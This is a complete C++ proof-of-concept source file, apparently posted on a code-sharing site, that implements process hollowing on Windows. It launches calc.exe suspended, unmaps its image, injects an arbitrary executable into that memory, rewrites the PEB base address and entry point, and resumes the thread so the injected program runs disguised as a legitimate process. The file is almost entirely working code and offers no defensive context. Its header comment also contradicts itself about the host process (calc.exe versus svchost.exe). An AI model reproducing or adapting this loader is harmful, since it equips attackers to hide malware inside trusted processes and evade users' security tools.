loadEXE.cpp
上传用户:marchyyf
上传日期:2013-03-31
资源大小:6k
文件大小:20k
源码类别:

进程与线程

开发平台:

Visual C++

  1. //*******************************************************************************************************
  2. // loadEXE.cpp : Defines the entry point for the console application.
  3. //
  4. // Proof-Of-Concept Code
  5. // Copyright (c) 2004
  6. // All rights reserved.
  7. //
  8. // Permission is hereby granted, free of charge, to any person obtaining a
  9. // copy of this software and associated documentation files (the
  10. // "Software"), to deal in the Software without restriction, including
  11. // without limitation the rights to use, copy, modify, merge, publish,
  12. // distribute, and/or sell copies of the Software, and to permit persons
  13. // to whom the Software is furnished to do so, provided that the above
  14. // copyright notice(s) and this permission notice appear in all copies of
  15. // the Software and that both the above copyright notice(s) and this
  16. // permission notice appear in supporting documentation.
  17. //
  18. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
  19. // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
  20. // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
  21. // OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
  22. // HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL
  23. // INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING
  24. // FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
  25. // NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
  26. // WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  27. //
  28. // Usage:
  29. // loadEXE <EXE filename>
  30. //
  31. // This will execute calc.exe in suspended mode and replace its image with
  32. // the new EXE's image.  The thread is then resumed, thus causing the new EXE to
  33. // execute within the process space of svchost.exe.
  34. //
  35. //*******************************************************************************************************
  36. #include <stdio.h>
  37. #include <windows.h>
  38. #include <tlhelp32.h>
  39. #include <psapi.h>
  40. struct PE_Header 
  41. {
  42. unsigned long signature;
  43. unsigned short machine;
  44. unsigned short numSections;
  45. unsigned long timeDateStamp;
  46. unsigned long pointerToSymbolTable;
  47. unsigned long numOfSymbols;
  48. unsigned short sizeOfOptionHeader;
  49. unsigned short characteristics;
  50. };
  51. struct PE_ExtHeader
  52. {
  53. unsigned short magic;
  54. unsigned char majorLinkerVersion;
  55. unsigned char minorLinkerVersion;
  56. unsigned long sizeOfCode;
  57. unsigned long sizeOfInitializedData;
  58. unsigned long sizeOfUninitializedData;
  59. unsigned long addressOfEntryPoint;
  60. unsigned long baseOfCode;
  61. unsigned long baseOfData;
  62. unsigned long imageBase;
  63. unsigned long sectionAlignment;
  64. unsigned long fileAlignment;
  65. unsigned short majorOSVersion;
  66. unsigned short minorOSVersion;
  67. unsigned short majorImageVersion;
  68. unsigned short minorImageVersion;
  69. unsigned short majorSubsystemVersion;
  70. unsigned short minorSubsystemVersion;
  71. unsigned long reserved1;
  72. unsigned long sizeOfImage;
  73. unsigned long sizeOfHeaders;
  74. unsigned long checksum;
  75. unsigned short subsystem;
  76. unsigned short DLLCharacteristics;
  77. unsigned long sizeOfStackReserve;
  78. unsigned long sizeOfStackCommit;
  79. unsigned long sizeOfHeapReserve;
  80. unsigned long sizeOfHeapCommit;
  81. unsigned long loaderFlags;
  82. unsigned long numberOfRVAAndSizes;
  83. unsigned long exportTableAddress;
  84. unsigned long exportTableSize;
  85. unsigned long importTableAddress;
  86. unsigned long importTableSize;
  87. unsigned long resourceTableAddress;
  88. unsigned long resourceTableSize;
  89. unsigned long exceptionTableAddress;
  90. unsigned long exceptionTableSize;
  91. unsigned long certFilePointer;
  92. unsigned long certTableSize;
  93. unsigned long relocationTableAddress;
  94. unsigned long relocationTableSize;
  95. unsigned long debugDataAddress;
  96. unsigned long debugDataSize;
  97. unsigned long archDataAddress;
  98. unsigned long archDataSize;
  99. unsigned long globalPtrAddress;
  100. unsigned long globalPtrSize;
  101. unsigned long TLSTableAddress;
  102. unsigned long TLSTableSize;
  103. unsigned long loadConfigTableAddress;
  104. unsigned long loadConfigTableSize;
  105. unsigned long boundImportTableAddress;
  106. unsigned long boundImportTableSize;
  107. unsigned long importAddressTableAddress;
  108. unsigned long importAddressTableSize;
  109. unsigned long delayImportDescAddress;
  110. unsigned long delayImportDescSize;
  111. unsigned long COMHeaderAddress;
  112. unsigned long COMHeaderSize;
  113. unsigned long reserved2;
  114. unsigned long reserved3;
  115. };
  116. struct SectionHeader
  117. {
  118. unsigned char sectionName[8];
  119. unsigned long virtualSize;
  120. unsigned long virtualAddress;
  121. unsigned long sizeOfRawData;
  122. unsigned long pointerToRawData;
  123. unsigned long pointerToRelocations;
  124. unsigned long pointerToLineNumbers;
  125. unsigned short numberOfRelocations;
  126. unsigned short numberOfLineNumbers;
  127. unsigned long characteristics;
  128. };
  129. struct MZHeader
  130. {
  131. unsigned short signature;
  132. unsigned short partPag;
  133. unsigned short pageCnt;
  134. unsigned short reloCnt;
  135. unsigned short hdrSize;
  136. unsigned short minMem;
  137. unsigned short maxMem;
  138. unsigned short reloSS;
  139. unsigned short exeSP;
  140. unsigned short chksum;
  141. unsigned short exeIP;
  142. unsigned short reloCS;
  143. unsigned short tablOff;
  144. unsigned short overlay;
  145. unsigned char reserved[32];
  146. unsigned long offsetToPE;
  147. };
  148. struct ImportDirEntry
  149. {
  150. DWORD importLookupTable;
  151. DWORD timeDateStamp;
  152. DWORD fowarderChain;
  153. DWORD nameRVA;
  154. DWORD importAddressTable;
  155. };
  156. //**********************************************************************************************************
  157. //
  158. // This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
  159. //
  160. //**********************************************************************************************************
  161. bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
  162. SectionHeader **outSecHdr)
  163. {
  164. fseek(fp, 0, SEEK_END);
  165. long fileSize = ftell(fp);
  166. fseek(fp, 0, SEEK_SET);
  167. if(fileSize < sizeof(MZHeader))
  168. {
  169. printf("File size too smalln");
  170. return false;
  171. }
  172. // read MZ Header
  173. MZHeader mzH;
  174. fread(&mzH, sizeof(MZHeader), 1, fp);
  175. if(mzH.signature != 0x5a4d) // MZ
  176. {
  177. printf("File does not have MZ headern");
  178. return false;
  179. }
  180. //printf("Offset to PE Header = %Xn", mzH.offsetToPE);
  181. if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
  182. {
  183. printf("File size too smalln");
  184. return false;
  185. }
  186. // read PE Header
  187. fseek(fp, mzH.offsetToPE, SEEK_SET);
  188. PE_Header peH;
  189. fread(&peH, sizeof(PE_Header), 1, fp);
  190. //printf("Size of option header = %dn", peH.sizeOfOptionHeader);
  191. //printf("Number of sections = %dn", peH.numSections);
  192. if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
  193. {
  194. printf("Unexpected option header size.n");
  195. return false;
  196. }
  197. // read PE Ext Header
  198. PE_ExtHeader peXH;
  199. fread(&peXH, sizeof(PE_ExtHeader), 1, fp);
  200. //printf("Import table address = %Xn", peXH.importTableAddress);
  201. //printf("Import table size = %Xn", peXH.importTableSize);
  202. //printf("Import address table address = %Xn", peXH.importAddressTableAddress);
  203. //printf("Import address table size = %Xn", peXH.importAddressTableSize);
  204. // read the sections
  205. SectionHeader *secHdr = new SectionHeader[peH.numSections];
  206. fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);
  207. *outMZ = mzH;
  208. *outPE = peH;
  209. *outpeXH = peXH;
  210. *outSecHdr = secHdr;
  211. return true;
  212. }
  213. //**********************************************************************************************************
  214. //
  215. // This function calculates the size required to load an EXE into memory with proper alignment.
  216. //
  217. //**********************************************************************************************************
  218. int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
  219.        SectionHeader *inSecHdr)
  220. {
  221. int result = 0;
  222. int alignment = inpeXH->sectionAlignment;
  223. if(inpeXH->sizeOfHeaders % alignment == 0)
  224. result += inpeXH->sizeOfHeaders;
  225. else
  226. {
  227. int val = inpeXH->sizeOfHeaders / alignment;
  228. val++;
  229. result += (val * alignment);
  230. }
  231. for(int i = 0; i < inPE->numSections; i++)
  232. {
  233. if(inSecHdr[i].virtualSize)
  234. {
  235. if(inSecHdr[i].virtualSize % alignment == 0)
  236. result += inSecHdr[i].virtualSize;
  237. else
  238. {
  239. int val = inSecHdr[i].virtualSize / alignment;
  240. val++;
  241. result += (val * alignment);
  242. }
  243. }
  244. }
  245. return result;
  246. }
  247. //**********************************************************************************************************
  248. //
  249. // This function calculates the aligned size of a section
  250. //
  251. //**********************************************************************************************************
  252. unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
  253. {
  254. if(curSize % alignment == 0)
  255. return curSize;
  256. else
  257. {
  258. int val = curSize / alignment;
  259. val++;
  260. return (val * alignment);
  261. }
  262. }
  263. //**********************************************************************************************************
  264. //
  265. // This function loads a PE file into memory with proper alignment.
  266. // Enough memory must be allocated at ptrLoc.
  267. //
  268. //**********************************************************************************************************
  269. bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
  270. SectionHeader *inSecHdr, LPVOID ptrLoc)
  271. {
  272. char *outPtr = (char *)ptrLoc;
  273. fseek(fp, 0, SEEK_SET);
  274. unsigned long headerSize = inpeXH->sizeOfHeaders;
  275. // certain PE files have sectionHeaderSize value > size of PE file itself.  
  276. // this loop handles this situation by find the section that is nearest to the
  277. // PE header.
  278. for(int i = 0; i < inPE->numSections; i++)
  279. {
  280. if(inSecHdr[i].pointerToRawData < headerSize)
  281. headerSize = inSecHdr[i].pointerToRawData;
  282. }
  283. // read the PE header
  284. unsigned long readSize = fread(outPtr, 1, headerSize, fp);
  285. //printf("HeaderSize = %dn", headerSize);
  286. if(readSize != headerSize)
  287. {
  288. printf("Error reading headers (%d %d)n", readSize, headerSize);
  289. return false;
  290. }
  291. outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);
  292. // read the sections
  293. for(i = 0; i < inPE->numSections; i++)
  294. {
  295. if(inSecHdr[i].sizeOfRawData > 0)
  296. {
  297. unsigned long toRead = inSecHdr[i].sizeOfRawData;
  298. if(toRead > inSecHdr[i].virtualSize)
  299. toRead = inSecHdr[i].virtualSize;
  300. fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);
  301. readSize = fread(outPtr, 1, toRead, fp);
  302. if(readSize != toRead)
  303. {
  304. printf("Error reading section %dn", i);
  305. return false;
  306. }
  307. outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
  308. }
  309. else
  310. {
  311. // this handles the case where the PE file has an empty section. E.g. UPX0 section
  312. // in UPXed files.
  313. if(inSecHdr[i].virtualSize)
  314. outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
  315. }
  316. }
  317. return true;
  318. }
  319. struct FixupBlock
  320. {
  321. unsigned long pageRVA;
  322. unsigned long blockSize;
  323. };
  324. //**********************************************************************************************************
  325. //
  326. // This function loads a PE file into memory with proper alignment.
  327. // Enough memory must be allocated at ptrLoc.
  328. //
  329. //**********************************************************************************************************
  330. void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
  331.       SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
  332. {
  333. if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
  334. {
  335. FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
  336. long delta = newBase - inpeXH->imageBase;
  337. while(fixBlk->blockSize)
  338. {
  339. //printf("Addr = %Xn", fixBlk->pageRVA);
  340. //printf("Size = %Xn", fixBlk->blockSize);
  341. int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
  342. //printf("Num Entries = %dn", numEntries);
  343. unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);
  344. for(int i = 0; i < numEntries; i++)
  345. {
  346. DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
  347. int relocType = (*offsetPtr & 0xF000) >> 12;
  348. //printf("Val = %Xn", *offsetPtr);
  349. //printf("Type = %Xn", relocType);
  350. if(relocType == 3)
  351. *codeLoc = ((DWORD)*codeLoc) + delta;
  352. else
  353. {
  354. printf("Unknown relocation type = %dn", relocType);
  355. }
  356. offsetPtr++;
  357. }
  358. fixBlk = (FixupBlock *)offsetPtr;
  359. }
  360. }
  361. }
  362. #define TARGETPROC "calc.exe"
  363. typedef struct _PROCINFO
  364. {
  365. DWORD baseAddr;
  366. DWORD imageSize;
  367. } PROCINFO;
  368. //**********************************************************************************************************
  369. //
  370. // Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
  371. //
  372. //**********************************************************************************************************
  373. BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
  374. {
  375. STARTUPINFO si = {0};
  376. if(CreateProcess(NULL, TARGETPROC,
  377.              NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))
  378. {
  379. ctx->ContextFlags=CONTEXT_FULL;
  380. GetThreadContext(pi->hThread, ctx);
  381. DWORD *pebInfo = (DWORD *)ctx->Ebx;
  382. DWORD read;
  383. ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);
  384. DWORD curAddr = outChildProcInfo->baseAddr;
  385. MEMORY_BASIC_INFORMATION memInfo;
  386. while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
  387. {
  388. if(memInfo.State == MEM_FREE)
  389. break;
  390. curAddr += memInfo.RegionSize;
  391. }
  392. outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;
  393. return TRUE;
  394. }
  395. return FALSE;
  396. }
  397. //**********************************************************************************************************
  398. //
  399. // Returns true if the PE file has a relocation table
  400. //
  401. //**********************************************************************************************************
  402. BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
  403. {
  404. if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
  405. {
  406. return TRUE;
  407. }
  408. return FALSE;
  409. }
  410. typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);
  411. //**********************************************************************************************************
  412. //
  413. // To replace the original EXE with another one we do the following.
  414. // 1) Create the original EXE process in suspended mode.
  415. // 2) Unmap the image of the original EXE.
  416. // 3) Allocate memory at the baseaddress of the new EXE.
  417. // 4) Load the new EXE image into the allocated memory.  
  418. // 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended 
  419. //    thread.
  420. //
  421. // When the original EXE process is created in suspend mode, GetThreadContext returns these useful
  422. // register values.
  423. // EAX - process entry point
  424. // EBX - points to PEB
  425. //
  426. // So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
  427. // new EXE.
  428. //
  429. //**********************************************************************************************************
  430. void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
  431. SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
  432. {
  433. STARTUPINFO si = {0};
  434. PROCESS_INFORMATION pi;
  435. CONTEXT ctx;
  436. PROCINFO childInfo;
  437. if(createChild(&pi, &ctx, &childInfo)) 
  438. {
  439. printf("Original EXE loaded (PID = %d).n", pi.dwProcessId);
  440. printf("Original Base Addr = %X, Size = %Xn", childInfo.baseAddr, childInfo.imageSize);
  441. LPVOID v = (LPVOID)NULL;
  442. if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
  443. {
  444. // if new EXE has same baseaddr and is its size is <= to the original EXE, just
  445. // overwrite it in memory
  446. v = (LPVOID)childInfo.baseAddr;
  447. DWORD oldProtect;
  448. VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);
  449. printf("Using Existing Mem for New EXE at %Xn", (unsigned long)v);
  450. }
  451. else
  452. {
  453. // get address of ZwUnmapViewOfSection
  454. PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
  455. // try to unmap the original EXE image
  456. if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
  457. {
  458. // allocate memory for the new EXE image at the prefered imagebase.
  459. v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  460. if(v)
  461. printf("Unmapped and Allocated Mem for New EXE at %Xn", (unsigned long)v);
  462. }
  463. }
  464. if(!v && hasRelocationTable(inpeXH))
  465. {
  466. // if unmap failed but EXE is relocatable, then we try to load the EXE at another
  467. // location
  468. v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  469. if(v)
  470. {
  471. printf("Allocated Mem for New EXE at %X. EXE will be relocated.n", (unsigned long)v);
  472. // we've got to do the relocation ourself if we load the image at another
  473. // memory location
  474. doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
  475. }
  476. }
  477. printf("EIP = %Xn", ctx.Eip);
  478. printf("EAX = %Xn", ctx.Eax);
  479. printf("EBX = %Xn", ctx.Ebx); // EBX points to PEB
  480. printf("ECX = %Xn", ctx.Ecx);
  481. printf("EDX = %Xn", ctx.Edx);
  482. if(v)
  483. {
  484. printf("New EXE Image Size = %Xn", imageSize);
  485. // patch the EXE base addr in PEB (PEB + 8 holds process base addr)
  486. DWORD *pebInfo = (DWORD *)ctx.Ebx;
  487. DWORD wrote;
  488. WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);
  489. // patch the base addr in the PE header of the EXE that we load ourselves
  490. PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
  491. peXH->imageBase = (DWORD)v;
  492. if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
  493. {
  494. printf("New EXE image injected into process.n");
  495. ctx.ContextFlags=CONTEXT_FULL;
  496. //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
  497. if((DWORD)v == childInfo.baseAddr)
  498. {
  499. ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint; // eax holds new entry point
  500. }
  501. else
  502. {
  503. // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
  504. // performed.
  505. ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint; // eax holds new entry point
  506. }
  507. printf("********> EIP = %Xn", ctx.Eip);
  508. printf("********> EAX = %Xn", ctx.Eax);
  509. SetThreadContext(pi.hThread,&ctx);
  510. ResumeThread(pi.hThread);
  511. printf("Process resumed (PID = %d).n", pi.dwProcessId);
  512. }
  513. else
  514. {
  515. printf("WriteProcessMemory failedn");
  516. TerminateProcess(pi.hProcess, 0);
  517. }
  518. }
  519. else
  520. {
  521. printf("Load failed.  Consider making this EXE relocatable.n");
  522. TerminateProcess(pi.hProcess, 0);
  523. }
  524. }
  525. else
  526. {
  527. printf("Cannot load %sn", TARGETPROC);
  528. }
  529. }
  530. int main(int argc, char* argv[])
  531. {
  532. if(argc != 2)
  533. {
  534. printf("nUsage: %s <EXE filename>n", argv[0]);
  535. return 1;
  536. }
  537. FILE *fp = fopen(argv[1], "rb");
  538. if(fp)
  539. {
  540. MZHeader mzH;
  541. PE_Header peH;
  542. PE_ExtHeader peXH;
  543. SectionHeader *secHdr;
  544. if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
  545. {
  546. int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
  547. //printf("Image Size = %Xn", imageSize);
  548. LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  549. if(ptrLoc)
  550. {
  551. //printf("Memory allocated at %Xn", ptrLoc);
  552. loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);
  553. doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);
  554. }
  555. else
  556. printf("Allocation failedn");
  557. }
  558. fclose(fp);
  559. }
  560. else
  561. printf("nCannot open the EXE file!n");
  562. return 0;
  563. }